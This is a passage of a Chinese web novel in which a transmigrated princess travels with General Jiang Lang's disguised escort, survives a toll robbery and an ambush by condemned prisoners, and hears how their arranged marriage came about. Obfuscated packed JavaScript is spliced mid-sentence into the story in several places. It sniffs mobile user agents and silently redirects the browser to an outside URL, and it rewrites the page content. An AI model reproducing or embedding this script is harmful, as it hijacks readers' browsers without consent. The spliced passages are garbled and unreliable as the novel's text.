任月语后背发麻,轻轻扯了扯江琅的衣袖,“那两个人看我们的眼神不一样。” 程恒附在江琅耳旁,低声汇报,“他们是晋西道监察御史张昌的人。” 江琅揣摩,这果然和他推测的结果一样。他无奈笑道,“他倒是不避讳,竟然选择明着来。” 江琅打量自身队伍中的人,穿的都是战袍盔甲。这是军队里留下的传统习俗,无论所面临的事情大小,只要是外出执行任务,就都要穿上战袍盔甲,显示身份与权威。一方面是展露他们心底的傲气,另一方面是身着官服,在执行任务的过程中,可以得到一定的便利,省去一些麻烦。 这一习俗,已经给众人留下了根深蒂固的观念。 江琅此刻却一反往常,向队伍下令道,“所有人,换便服。” 队员们稍显惊讶,低头耳语,窸窸窣窣。 孟昭启实在困惑不已,摸着后脑勺,上前询问道,“将军,为何要换便服,破坏规矩?” 江琅只解释了一句,“官服太显眼,怕成为别有用心之人的靶中之物。” 孟昭启不服气,“显眼怎么了?我们本来就是鹰扬军,穿甲胄不是名正言顺的吗?就应该光明正大呀!再说了,这可是皇上下的命令,让我们送月照公主……” 江琅举起刀鞘,精准敲击孟昭启的脑袋,示意孟昭启闭嘴,避免言多必失。 他们护送月照公主回国一事,按照小皇帝的意思,对外并不主动说明,只说是陪同月照公主游览山水风景,避免节外生枝。既然是要谨慎行事,江琅自然不会让孟昭启这般大肆宣扬。 孟昭启摸着被敲疼的脑袋,收敛了情绪,放低了音量,但仍然是一幅愤懑不平的模样,“我就是觉得没必要嘛,我们又没有做错什么,干嘛要怕别人?搞得像个缩头乌龟……” 他惊觉说错了话,说出了一个敏感词语,紧急闭上嘴巴,就地跪下向江琅请罪,“方才的话乃卑职的无心之错,还请将军赎罪。” 其余人见副将跪下了,便也跟随着跪下。 任月语站在一群跪着的人中间,跪也不是站也不是,只好木楞地保持不动。 江琅并没有什么特别的表情。他收好刀鞘,在孟昭启身前单膝蹲下,左手搭在膝盖上,右手擒住孟昭启的后脑,要孟昭启与他平视。 “记住,在我这里,颜面从来不是值钱的东西,活着才是。” 他的语调平静,任月语站在一旁,听出了他语调下的冰冷,甚至似乎带了一丝绝望。 *** 队伍听从江琅的吩咐,换了便服,准备出发。 江琅身着一件墨蓝色素袍,清秀俊朗。任月语身着一袭星蓝色罗裙,娇嫩水灵。两人站在一起,看着便是天造地设的一对璧人。 孟昭启热情迎接,“将军,公主,马和马车都已备好。” 江琅纠正道,“既然换了便服,就该随之改一个称谓。” 孟昭启仔细想了想,改口叫道,“公子,夫人。” 这是摆明了把江琅和任月语当作了一对夫妻。 任月语听见这称呼,心里惊喜,附带一点紧张。她倒不尴尬,她怕江琅尴尬。她侧头看向江琅,若有深意地挑眉。江琅只当看不见,也没接孟昭启的话,自顾自发布了命令。 “走吧,出发。” 队伍听令重新出发,行进于道路上,往晋西道前行。 任月语坐在马车中,由素雅陪伴在身旁,度过这一段旅途。 任月语经历了早上那一个场景,却不知前因后果,厘不清思绪,着实充满好奇。她猜测孟昭启惹江琅生气,是因为孟昭启说了一个特殊的词语,“缩头乌龟”。 她靠近素雅,压低了声音询问,“你知不知道,他们说的缩头乌龟到底是什么意思?为什么这个词语这么敏感?说出口就要搞出这么大的阵仗。” 素雅屏气,支支吾吾,“我……我不知道。” 任月语看得出素雅不够坦诚,“吹牛,你肯定知道。” 素雅埋着脑袋,拱手求饶,“夫人,你就别为难我了。” 任月语被连续拒绝两次,好奇心愈发旺盛。不过她明白在这种场景下,继续强迫素雅也肯定套不出什么话,只好暂且撇开不提。 车里的气氛因为这个话题,变得有些冰冷。 任月语不大自在,想着活跃气氛,主动搭话道,“你们景朝的习俗还挺独特,将军外出执行任务,竟然不带十万大军,而是只有十个人。” 她仔细观察过这支队伍,除却她和江琅外,其余的还有副将、医女、管家、侍女,以及四个护卫,一共才十个人。 素雅纠正,“我们带了十万大军的。” “啊?”任月语没听懂。她还以为素雅的意思是,他们备了十万大军在隐秘的地方,随时保护他们的安全。可这想法完全经不起推敲,毕竟那是整整十万大军,再隐秘还能隐秘到哪里去?任月语行路这么久,不可能一个影子也看不到。 素雅知道她把任月语给说蒙了,捂嘴笑道,“夫人,我说的十万大军,是指我们的副将,孟昭启大人。” 任月语追问,“他怎么就是十万大军了?” 素雅解释,“别看他整天乐呵呵的,又呆又萌,实际上他的武力强到出乎想象,一个人能当十万大军来用,所以我们都管他叫十万大军。” 这话表述得确实夸张了一些,但任月语能够明白,孟昭启的武力值绝对不容小觑。 任月语侧身掀开了帷幕。孟昭启骑着骏马,行于马车的不远处。他身高其实和江琅差不多,不过体格看着要壮实一些,因此整个身躯就显得庞大。他若是面露沉着冷静之色,光是存在就能给人难以抵抗的压迫感,无愧于副将的称谓。 可惜他太爱笑了,一笑起来就是乐呵呵的状态,是个傻大个。 此时的他正手捧一本书籍,认认真真一字一句地阅读,默读三遍,又将书籍合上,紧皱眉头开始背诵诗句。 “病骨支离纱帽宽,孤臣万里江干……客江干。位卑不……哦不,不是这个不……” 他努力不了半天,没能不出一个所以然来。他十分想要翻书偷看答案,又极力克制着这种不该有的冲动。 任月语替他背诵了后面一句,“位卑未敢忘忧国,事定犹须待阖棺。”* 孟昭启点头附和,“对对,就是这个。” 他拉着缰绳,改变马骑的路线,更靠近了马车一些,“夫人,你们月照古国也要背书么?” 任月语心想,可不也要背书么?不仅如此,还要考试,还要排名,还要请家长。她感慨万千,“同是天涯背书人。” 孟昭启愁眉苦脸,“是呐!背得我两眼冒金星。” 任月语趴在窗口上,“是将军让你背的吗?” “嗯。”孟昭启撇嘴,“我不是早上惹他生气了嘛,他就罚我背书,要我把这一大本全给背下来,三天后还得检查。” 江琅骑马正行于队伍最前列。孟昭启朝着江琅的背影轻声哼了一下,算作发泄。任月语沉浸在江琅英姿挺拔的背影里,嘴角轻扬。 她问孟昭启,“你们将军,平日里是不是特别严厉,一丝不苟?” 孟昭启压低了声音抱怨,“严!严得我们都快要受不了了!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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孟昭启清晰记得那个冬天他们所受的痛楚,雪落平京,他们踏着雪水,一遍又一遍地进行着训练,永不停歇。 孟昭启对任月语悄声说道,“将军没有良心。” 孟昭启妄下评论,转念又想起了江琅的好,随后补充了一句,“不对,他还是剩下了一点良心的,知道朝廷不会批准给我们拨银两,所以就用自己的积蓄来给我们买了酒和肉,还有好看的新衣服。” 任月语估算,江琅给十万大军买酒买肉买新衣服,那开销可是一笔惊人的数字,“这样看来,将军对你们还是挺好的。” “这叫好?”孟昭启不满足,“他要真的好,就该给我们放长假,而且就不该叫我背这么些让人头大的书。” 孟昭启挥舞着书本,书页在风中颤动,搅起一片沙沙声音。 任月语心疼书本,轻薄脆弱的书页哪里经得起孟昭启这种傻大个的摧残。她用心良苦劝慰孟昭启,“你还是应该听将军的话,好好爱护书籍,认认真真读书。” 孟昭启蓦然停下了手中的动作。他方才掏心掏肺对任月语说了这么些心里话,还以为任月语会和他成为同盟,哪晓得任月语到头来,反而站在了他的对立面,替江琅说话。 孟昭启不甘心,“夫人,怎么你也帮将军说话?” 任月语义正言辞,“我是觉得,将军自有考量,他无论做什么都肯定有他的道理,我们只管相信他。” 任月语仿佛天生有一种对江琅的崇拜,说起江琅来,她眼里闪闪发光,神气十足,耀武扬威。 孟昭启吃了闷头一棍,郁闷至极,在心里暗自嘀咕。 这夫妻俩可真是一个德行。 *** 队伍缓慢前行五日,逐渐走出平京郊县,暂且相安无事。 直至踏入晋西道界内,行进不久,路上出现了几十个黑衣人,拦截了他们的去路。 江琅明白,那个人忍耐多时,终于要出手了。 5. 过路 黑衣人团队里,为首的人叫做阿建,他的跟班叫做阿强。 他们挡在骏马前,昂首挺胸,声音高亢,“你们这是打哪儿来,又要到哪儿去啊?” 孟昭启并未下马,居高临下俯视他们,“你算哪根葱,敢盘问爷爷我的行踪。” “我算哪根葱?”阿建冷笑,搭上阿强的肩膀,“来来来,你给他说说看,我算哪根葱?” 阿强伸出了拇指,“这可是我们强爷,方圆百里可都是他说了算!” 孟昭启呛声,“那你让他说句话呗,看看他到底说了是算得上还是算不上!” 阿强作势捋起袖子,“哎!你这小厮,敬酒不吃吃罚酒!” 阿建伸出手臂挡在阿强身前,示意阿强后退。他亲自走到了孟昭启的马旁,指着脚下的土地,“这地儿,归我管,懂了吗?江湖规矩,想从这儿过,得交这个。” 他在空中打了个夸张的响指,孟昭启在空中翻了个夸张的白眼。 阿建拔出了随身携带的匕首,刀面在掌心之间来回剐蹭,“一人十两银子,你们十个人,得交一百两。一口价,不讲价。” 孟昭启咒骂,“讲你爷爷个腿!” 孟昭启拔出了刀。阿建见状,举起匕首。一众黑衣人得令,齐刷刷拔出了剑。 白晃晃的一片,在林间不停闪烁。 孟昭启意欲以一敌众。可他还没来得及做出行动,江琅抢先制止了他,让他退后。 孟昭启心生怨气。但他向来是无论心里有多少怨气,最后总要乖乖听从江琅的话。江琅让他退后,他就臭脸但是顺从地退后。 江琅唤来了贺伯,与贺伯低声交谈几句。贺伯返回货物马车内,取出了整整一百两银子,全数交予阿建。 孟昭启惊讶得瞪大了眼睛,“将军!” 江琅抬手制止,“勿再多言!” 孟昭启气愤地调转马头,回到任月语的马车旁,着急地向任月语哭诉,“夫人,你管管将军!他就是再有钱,也不能像个傻子一样任人宰割呀!” 任月语其实也摸不清江琅的想法,搞不清楚目前的状况。她只能凭借着对江琅的一腔崇拜,试图安慰孟昭启,“放心,将军不傻,他应该还在观察吧,肯定已经在谋算着什么了。” 孟昭启抓紧了缰绳,愤懑地嘀咕,“但愿如此吧!” *** 他们交了过路费,阿建也不便于再为难他们,只能放行。 孟昭启因为吃了哑巴亏,烦闷沮丧,骑马速度也随之变得缓慢,逐渐走在了队伍的最后头。 已到下午,孟昭启这一天还没解决过内急,此时有些憋不住,遂向孙一堂招呼道,“我去林子里解决一下,弄完就来找你们。” 孙一堂不放心,“那大人你快去快回啊,不然将军问着我,我没办法给你掩护。” 孟昭启潇洒道,“放心,多大个事儿。” 孟昭启驾马离开,去往林子深处。找到合适的位置后,他将马绳系在树干上,踩踏着落叶,走去了隐秘之处。 天阴,乌云压低了天空,繁茂的枝叶笼罩头顶。 孟昭启折返回到骏马旁边。他还未来得及解开缰绳,左脚不慎踩到覆盖在落叶下的陷阱,触发牵引机关,一个麻绳编织的网将他团团包裹,忽而升到半空,悬吊在高耸的枝干上,随落叶摇晃,像一个大摆锤。 孟昭启咒骂,“背时王八羔子!玩儿我是吧?” 不远处的树枝上,飞落两个身手矫健的黑衣人。他们汇合在绳网底下,确认孟昭启已落入陷阱,便吹哨发出信号。 丛林远处,奔涌而来二十几号人,包围着孟昭启。 阿建拨开人群,大摇大摆走到队伍前头,讥讽道,“哟,先前不是神气得很吗?还想拔刀硬闯关。你现在倒是拔呀?” 孟昭启的手腕被机关用麻绳层层捆绑着,牢固拉扯于头顶。 阿强叉腰附和道,“大哥,我算是看出来了,还以为他多厉害呢,结果就是一装模作样的纸老虎!” 孟昭启往身旁啐一口痰,“你他娘的,真以为这点鸡毛蒜皮的小把戏,就能把爷爷我困住?” 孟昭启只是稍用力,再牢固的麻绳也轻松断开。绳网破裂,他平稳地落于枯叶之上。 阿建警觉,挥手发出指令,身后的二十几号黑衣人竟脱去了外袍,露出了里层真实的衣服,竟是囚服,胸前赫然写着“死囚”二字。 孟昭启惊讶,他一直以为阿建一伙是野外的山寨土匪,没想到他们实际上和官府扯上了关联。 阿建声音洪亮高亢,下令指挥,“死囚们,你们立功赎罪的机会来了!谁能把他杀了,谁就能免除一死!” 囚犯各个面露凶狠神色,为着这千年难遇的免死机会,势在必得。他们坚定地冲向了孟昭启。 孟昭启猛然拔刀出鞘。 很好,既然是死囚,那就不必手下留情。 *** 阿建和阿强趁着混战时候,早已逃之夭夭,不见踪影。 深林里,孟昭启杀光了全部死囚,共计二十三人,尸横遍野。 江琅得知此事后,处罚了孟昭启,罪状是未上报请求就暗自行动,惩罚是不得吃晚饭。 队伍今日因路途被耽搁好些时候,没能按计划到达临近郡县,于是决定在小河边就地生火,用晚餐并歇息一阵。 队内负责掌勺的人是侍卫吴冲毅,他不仅武功好,厨艺也堪称一绝,烹饪烤制野鸡野鸽,色泽诱人,香味四溢。 任月语被特殊照顾,得到了两只烤鸡腿,一手举一只。她耸着鼻子闻气味,馋得咽唾沫。她忍着想要咬一口的冲动,率先把一只烤鸡腿举到了江琅眼前,“这个给你吃。” 江琅回绝道,“公主你吃就好,不用管我。” 任月语赌气,“不行,你不吃,那我也不吃,一起饿肚子。” 她将鸡腿再凑近了一些。见江琅仍然没接,她索性蛮力弄开江琅的手,将鸡腿塞到了江琅的手掌里。 盛情难却,江琅握着鸡腿,向任月语颔首回礼,“谢谢。” 任月语笑道,“快吃,趁热吃。” 她在一旁监督江琅,直至江琅咬下一口鸡腿肉,她才放心。 至于另外一只鸡腿,她本来想要自己吃的,可看见河岸边孟昭启的背影,孤独一人远离队伍,坐在小石滩上垂头丧气,可怜兮兮,总叫人不忍心。 然而任月语还没来得及做出行动,云霁倒是早一步藏着一只烤野鸽,走到了孟昭启的身边。 云霁挨着孟昭启坐了下来,“给你,填饱肚子。” 孟昭启故意抱着手臂挪开身 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孟昭启来劲,“那你说说看,今天的都算什么事?被一群小毛贼打劫,白白给了一百两银子,这不是傻是什么?我在林子里被人陷害,理所应当自卫反击,杀了几个迟早要被斩首的死囚而已,顺便替咱们鹰扬军出口恶气,一举两得。明明是好事,我就想不通了,我哪里做错了?” 他说得气焰往上蹿,埋怨道,“将军对我一点都不好。” 云霁替江琅打抱不平,“这还叫对你不好?你这种情况,按理说应该被责杖的!结果将军呢,只罚你不吃一顿晚饭而已。” 况且云霁悄悄拿了一只烤野鸽,送给孟昭启,这也是被江琅默许的行为。 “将军就是太惯着你了,才让你越来越无法无天。”云霁说罢,愤恨地踩了孟昭启一脚,孟昭启佯装疼痛,抱着大腿,连连求饶。 “我错了,我错了还不行吗?”孟昭启嬉笑,“我不说将军坏话了。” 他故意凑到云霁眼前做鬼脸,云霁假装嫌他烦,把脸别开。他再默默挪动屁股,坐得离云霁更近了一点。 河水潺潺,太阳钻出了乌云,在水面上洒下了属于黄昏的金色的阳光碎屑。 孟昭启啃着烤野鸽,心神不宁。他不敢回头面对江琅,却又总是忍不住想要回头打探情况。在回与不回之间,陷入了一种僵持的状态。 他低声问云霁,“那你说,将军这次没有按规矩杖罚我,是不是因为我其实根本就没有做错?” 云霁笑道,“你就这么有信心?” “那是。”孟昭启有模有样地分析道,“我们被几个毛贼打劫,将军心里说不定也咽不下这口气,他估计也想揍那几个毛贼一顿。不过嘛,他拉不下面子来,觉得这种行为有失身份。结果这时候,谁能想到呐,这几个毛贼偏偏到我手上了。我这个人嘛,从来都是不争馒头争口气,谁敢惹我谁就得被咔咔一顿砍,一顿操作猛如虎。” 他说起来甚至有些得意,“将军到头来忽然发现,我竟然替他出了气,他肯定也特解气,是不是?” 云霁衡量着孟昭启的分析,“只说对了一小半。” 孟昭启挺惊讶,“啊?才只一小半?那另一大半是什么?” “另一大半是,将军其实早就预料到了你会有这样的行为,并且有意容忍了你去做这种事。”云霁向孟昭启娓娓道来。 “因为将军想顺着这只饵,去见一个人。” 6. 夜谈 任月语亲眼目睹了远处小河边发生的一切。云霁踩孟昭启的脚,孟昭启挪向云霁身边,两个人低头耳语,举止亲昵,打情骂俏。任月语由此得出了一个结论。 这俩绝对是在谈吧。 她着实忍不住好奇,视线越过了一片鹅卵石滩,看远处两人的一举一动看得津津有味,嘴角不由自主露出了笑容。她的余光偶然瞄见了身旁的素雅,兴头因而更盛。她的眼眸灵活转动,示意素雅观看河边的恋爱现场。素雅心领神会,却不敢过于明目张胆,只能抿嘴憋笑,憋得脸颊稍微有些发红。 *** 晚上,队伍一行到达珑原城边坊,在临近的一家客栈落脚歇息。 客栈房间紧俏,住宿条件不如之前那般宽松,队伍之间需要搭配来分配房间。男子向来随意,方便解决。女子这边,云霁单独去了由库房隔出的一间屋子,虽然狭窄但也还算勉强。剩下素雅陪同任月语,住进一间上品房间里,宽敞并且舒适。 安顿之后,任月语闲来无聊,拉着素雅坐到桌边,嗑着瓜子吃着点心,悠闲地谈天说地。 任月语询问素雅,“这孟昭启和云霁,真是一对?” 素雅剥开一颗蜜桂圆的壳,把桂圆仁放到任月语身前,“要是问他们吧,他们都不承认,但是郎有情妾有意的,谁都看得出来。” 任月语将蜜桂圆塞进嘴里,“他们这样暗送秋波,多久了?” 素雅仔细回想,“据我观察,起码得有半年了。” 任月语咀嚼着桂圆仁,“你都观察到了些什么?” 素雅开始顺手剥瓜子,“云医官会亲自给孟大人缝制香囊,一个黛蓝色的香囊,外面绣着仙鹤,里面装着薄荷和檀香。” “云霁手这么巧?”任月语是个手残党,倒腾出来的东西从来见不得人,她只有羡慕别人的份。 素雅将瓜子仁放在玉盘中,“云医官可厉害了,制作出来的香囊,孟大人喜欢得很,整天戴在身上。可惜的是……后来被将军给没收了。” 任月语听了来气,“他怎么能没收别人的信物呢!” 素雅继续剥着瓜子,“因为那个时候,有一支狄人入侵北疆,北州侯惨败,形势严峻。鹰扬军奉命支援北军,要上战场。将军是担心孟大人心绪不稳,所以没收了香囊,并且严肃地告诫。” 素雅模仿江琅的神态,皱着眉,板着脸,“想要香囊,可以,只要你向她保证,你会活着回来。” 任月语双手拖着脑袋,不禁感慨,“啧,还挺浪漫。” “可不嘛。”素雅把装着瓜子仁的玉盘递给任月语,“后来孟大人不仅平安回来了,还带了一朵晒干的鸢尾花,可漂亮啦。” 任月语无力地抓着瓜子仁,塞到嘴里,“羡慕,我也想要鸢尾花。” 素雅笑道,“那还不简单,让将军……” 她一句话没说完,门外响起了一声咳嗽,随即传来有力的敲门声。她们寻声望去,这才惊觉之前竟没关上门,留了一道缝隙。 江琅正站在门外。 他听到了她们不正经的一场交谈。 素雅惊慌,急忙放下手中的瓜子,站到一旁,恭敬地行跪礼。任月语手足无措,木楞地站起来,不知该做出什么反应才好。 江琅推开门扉,踏进屋内。此刻桌旁倒是没人了,只剩一堆凌乱的小食。江琅挑了任月语方才的凳子,坐下,单手搭在了桌面上。 他打量了素雅好一阵,“素雅,你为人可一点不素雅。” 素雅急得将头埋得更低,“将军赎罪,奴婢再不敢失礼了。” 任月语见素雅被责怪,愧疚难当,忙向江琅解释,“是我找她聊天的,她没做错什么。” 素雅知道这时候是万万不能求情的,求情无异于火上浇油。她慌乱地揽过了矛头,“是奴婢失责,还请将军责罚。” 任月语隐约明白了素雅话里的意思,不敢再轻易开口。但她实在想要帮忙,视线在素雅与江琅之间来回游移,最后停留在江琅身上。她拱手向江琅求饶,眨着一双无辜委屈的眼睛,黑色晶石般的眼眸尽显可怜。她用唇语请求江琅,“拜托!” 江琅闷声埋怨了一句,“我又没说什么。” 任月语心想,你是没说什么,但你那般严肃凌厉的眉眼,光看一眼就够让人胆寒的了。 江琅自知他搅乱了她们的兴致,不便再多留,于是嘱咐素雅道,“时候不早了,你照顾好夫人,早些休息。” 任月语替素雅做了回答,“知道知道,我们马上就休息。” 她语气里有浓烈的逐客意味。为了尽快赶走江琅,她甚至在江琅刚站起来时,伸出双手推着江琅的后背,一直把江琅往门外推。 江琅还想说话,“我……” 他只说出了一个字,任月语就已经不留情面地关上了门。他的鼻尖险些碰上了门框,随之扑面而来的是一股夜风,带着些许凉意。 他明明还想说晚安的。 任月语背靠着门,听到门外江琅离去的脚步后,才终于放心地长舒一口气。 “下次说悄悄话,一定要记得把门窗都关紧了。”任月语走到素雅身前,扶素雅站了起来。 素雅惊魂未定,行为举止时刻保持着礼仪与局促,“夫人,我服侍你洗漱睡觉吧。” 任月语本想安慰素雅几句,但见素雅开始忙碌的身影,她不知道该如何开口,便同素雅一道变得沉默了好些。 *** 夜晚就寝,任月语睡在床上,素雅守候在床边隔板上。 起初两人都未言语,闭着眼睛,呼吸轻巧,假装睡着。 任月语心思繁杂,极力克制着试图静心,却终究是徒劳,脑海里一直不停地东想西想。她实在感觉憋不住,翻身挪到了床边,在白色月光下寻找素雅的身影。 “素雅。”任月语几乎是用气音在说话,“你睡了吗?” 素雅用同样的气音回应着,“没呢,夫人也还没睡吗?” 任月语把被子攥在手里,“睡不着。” 月光清澈,透过一片枝繁叶茂,洒进屋内的地板上,投射下斑驳的剪影。 任月语回想起之前江琅站在屋外的严肃模样,多少有些发怵。她问道,“将军对你们是不是很凶啊?” 素雅平躺着,双手搭在胸口,“将军身上有一种压迫感,而且又寡言少语,还不爱笑,就让人感觉很有距离,不敢轻易靠近。” 任月语赞成道,“我也有同样的感觉。” 江琅对任月语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195693|165647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒肯定不像对其他人那样,不苟言笑。他会给她夹菜,会询问她的需求,会对她说早安,会礼让她先行。但是她能够清楚地感受到,这些事情不过是他作为主人的礼仪罢了,是他的分内之事。他对她的照顾,实际是一种任务,他在兢兢业业地完成他的任务。 她和他其实并不亲近。 她感慨,“他要是能不那么凶就好了。” 素雅侧身,面向任月语,解释道,“其实将军并没有表面上看见的那么凶。我们做错了事,他会责骂我们,有时还会责罚,但几乎都是轻罚。像棍棒加身的那种皮肉苦,简直很少发生。” 任月语有些惊讶,“真的?他不打你们?” 素雅笑道,“不怎么打的,大多是罚站罚跪,罚打扫卫生。” 任月语想象着江琅罚手下人打扫卫生的样子,似乎挺有趣,“看来他还是蛮好的嘛。” “嗯。”素雅若有深意地答复了一句,“所以夫人你放心,将军他是一个特别好的人。” 任月语没有预料到素雅会说这样的话。她甚至没有意识到,自己心里竟还存在着一丝担忧,竟还幻想着,她和江琅既然作为夫妻,在往后满是柴米油盐的夫妻生活中,她该做出什么样的调整,才能在她和江琅之间建立起一种默契的相处方式。 她惊觉她想得未免也太远了!险些就要忘记了她此次穿书的限制条件! 信件中明确标注过,此次穿书,任月语只能和江琅做限时夫妻。明年中秋,月映湖心之时,任月语必须要搭乘渔船,随渔翁一道到达月映湖心的地点,返回现实世界。否则的话,她将性命堪忧,最终不能成活,在两个世界里被抹去生命。 她和他只能相处一年罢了,只有一年的期限。这一年都会在路上颠沛流离,哪能有什么岁月静好柴米油盐。 他们之间哪有未来。 任月语心里郁闷,用被子捂住了脑袋。可双颊原本就因为江琅而发红,再这样一捂,简直变得有些烫。她承受不了热气,又把被子掀开,微微喘气。 素雅稍微探身,“夫人,你不舒服吗?” 任月语支支吾吾,“没有,我挺好的。” 素雅遂躺回了原位。她以为任月语仍然为了江琅而烦扰,于是好心安慰道,“夫人,在我们看来,你和将军特别般配,郎才女貌。” 任月语试图用被子遮掩她的害羞。她心里一直有一个困惑已久的问题,总是找不到合适的时机向合适的人询问。恰巧碰到此刻似乎条件成熟,任月语思来想去,终于开口。 “素雅,我和将军为什么会成为夫妻呢?” 明明一个是景朝将军,一个是月照公主,八竿子打不着。 素雅有些惊讶,“夫人不记得了?” 任月语敷衍搪塞,“那个……我不是昏迷挺久的嘛,之前的事情都不记得了。” 素雅想来确实有这种可能。她便解释道,“你和将军,是和亲。” 这个答案和任月语预料的差不多,“果然,怪不得什么感情基础都没有。” 素雅挪动枕头到贴近肩膀的位置,以此换上一种更舒适的姿势,向任月语娓娓诉说。 “而且在最开始的那道圣旨上,与你和亲的对象,其实并不是将军。” 7. 和亲 素雅告诉了任月语,关于先帝的一些秘事。 月照古国实属神秘,又有上古神兽、不死药与极乐世界三大传闻,传得风火热烈且经久不衰,不可避免地引起了景朝先帝的注意,勾出了先帝的贪欲。 先帝千方百计地想要接近月照古国,目的是为了战胜上古神兽,拿到不死药,以及将极乐世界占为己有。 他知道用蛮力硬闯,只会是绝路一条,他因此穷尽其力探索其余灵巧的方法,占卜、祭祀、进贡、祷告,花费整整十年时间,几乎掏空整个国库,才终于换来与月照王母的短暂会面。 会面进行得极为隐秘,先帝到达月影湖心,与月照王母交谈,却只闻其声不见其人,唯能看见一个曼妙清冷的朦胧身影,似是神女,处于虚幻梦境之中。 因为先帝只能带三两亲信跟随左右,所以交谈的具体情形,旁人并不知晓。 只是从最终结果来看,月照王母提了两个要求,一是景朝每年需进献黄金千两,以表心意。二是景朝需派兵驻守月影湖百里之外,断绝心术不正之人靠近月影湖,保湖岸和平。 先帝自是殷切答应。 随后,先帝向月照王母提及不死药一事,意图将不死药收入囊中。 月照王母答复先帝,不死药不是人间的普通药丸,需心诚、净身、泯灭贪欲、日夜祈祷,待到步入通灵领悟之境,她自会将药赠予先帝。 先帝生性多疑,心存戒备。他自知此时能做的,只有暂且按照月照王母的话来进行。不过为了紧紧拴住好不容易才建立起来的与月照古国连接的这一条线,他思忖良久,权衡利弊,最终提出了一个请求。 与月照古国和亲。 “夫人,月照古国派的是你来和亲。”素雅回想起当时的宫中流言,“至于我们景朝,我听郑公公说,首辅大人建议的是东宫太子。” “太子?”任月语对太子完全陌生。不过按理来讲,既然先帝这么看中月照古国,和亲对象确实应该派太子才是。 素雅引用首辅大人的话,“首辅大人认为,唯有太子,才能让两国姻谊更巩固。” “对呀。”任月语不明白,“那为什么先帝没采纳这个意见?” “因为先帝担心两国姻谊过于巩固了,万一你……”素雅斟酌用词,“夫人,这不是我的意思,是先帝的意思。先帝担心你和太子成亲后,万一起了二心,用你们月照古国的神秘手段迷惑太子,让太子听命于你。待到太子即位,你成为皇后,再利用职权慢慢侵蚀景朝,最后搞得反倒是月照古国吞并了景朝,那岂不是鸠占鹊巢得不偿失?” 任月语扑哧一下笑出了声,“你们先帝也太看得起我了,我都想不到我竟然还能这么厉害。” 素雅压低了声音,“先帝嘛,生性多疑,总要防这防那的。他为了防你,否定了这个提议。” 任月语推测,“然后就顺位给了二皇子?” 素雅纠正,“没有,二皇子一岁那年就早夭了。按照顺位来,轮到了三皇子。” 任月语询问,“结果三皇子,先帝也不愿意拿出来和亲?” 素雅解释,“先帝倒是愿意,他怕你们月照古国不愿意。三皇子虽然年纪尚轻,但成亲很早,已经有了正妃了。如果你嫁给三皇子,就只能做妾,受委屈。所以先帝不敢开这个口,怕惹怒你们月照古国。” 任月语不屑哼声,“那倒是,谁愿意做小妾。” 素雅继续说道,“四皇子和五皇子也是早夭了,就剩下了六皇子。六皇子和你同龄,当年也是十七岁,成亲的话正好合适。” 任月语有些语塞,“十七岁成亲……竟然叫做正好合适。” 素雅仍沉浸在当时的氛围里,“宫里都传,先帝已经拟定了圣旨,要让六皇子与你和亲。私下里有好多绫罗绸缎,陆续送到六皇子府中,到处喜气洋洋。钦天监也为你们择了良辰吉日,禀报了先帝。” 任月语听得入迷,眼前仿佛出现了宫人来往忙碌的画面,“那最后怎么又没成?” 素雅悄声说,“因为先帝又反悔了。郑公公本来都在传旨的路上了,先帝派侍卫半路拦截郑公公,把郑公公硬生生给拽了回来。” 任月语有些惊讶,“你们这先帝说反悔就反悔啊?” “是呐……”素雅不便于过多评论先帝,便转而向任月语说明原因,“先帝认为六皇子的性格不能但此重任。六皇子热衷读书写字,是个彻头彻尾的文人。他在我们眼中,为人谦逊善良,温文尔雅。但在先帝眼中,他又太优柔寡断了,缺少男子汉的气概。毕竟与月照公主和亲,就不止是成亲而已,还要会利用资源,让两国之间的交往更进一步。先帝思来想去,担心六皇子没办法完成任务,所以撤了圣旨,重新选人。” 任月语满腔不悦,郁闷地埋怨道,“得,我就是个皮球呗,被你们先帝踢过来踢过去。我还不想嫁呢!” 素雅怕惹任月语生气,急忙哄道,“但是先帝选人的标准绝对没有亏待你的意思,他认为的是,既然不能和皇子们扯上关联,那就选一个除皇子外最为拔尖的人,所以这才定了将军。” 任月语听见将军两个字,心里喜悦,暗想虽说绕了这么一大圈,但最终花落鹰扬府,恰好合她心意。 素雅赞扬起江琅来,头头是道,“我们将军,当时可是名扬九州的贪狼将军,鲜衣怒马意气风发,杀敌无数建功立业,深受先帝喜爱,风光地位可不输其他皇子。夫人,我可斗胆跟你说一句,当初宫里好些人都在感慨,若是将军不出生在江府,而是生在帝王家,那还有太子什么事?将军才应该是储君!” 任月语听得有些害羞,“他真有这么好?” 素雅斩钉截铁,“他真有这么好,所以先帝才会下旨,点名要他和尊贵的月照公主成亲。” 任月语欣喜地咬着被角,脸上有止不住的笑意。 素雅接续说道,“但是将军没同意,当场给拒了。” 任月语的笑容骤然消散,愤懑地险些坐起来,质问道,“他就这么不喜欢我?” 素雅懊悔她怎么嘴这么快,又说错了话,她想着法子解释,“将军不是不喜欢你,而是……将军这个人呐,不懂什么儿女情长,他满脑子只有一件事,就是精忠报国。” 先帝颁布圣旨的那一天,素雅刚进府不久,正被杨姑姑带领着学做侍女所应做的事情。机缘巧合之下,素雅目睹了殿内发生的一切。 先帝亲自来鹰扬府颁旨,宣布江琅与任月语的婚约。郑公公宣读圣旨的声音高亢明亮,尾音拖长,展示出一种掩盖在文字下的激动情绪。 江琅冷脸听完了宣读。 他并没有接过圣旨,一直保持跪地行礼的姿态,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 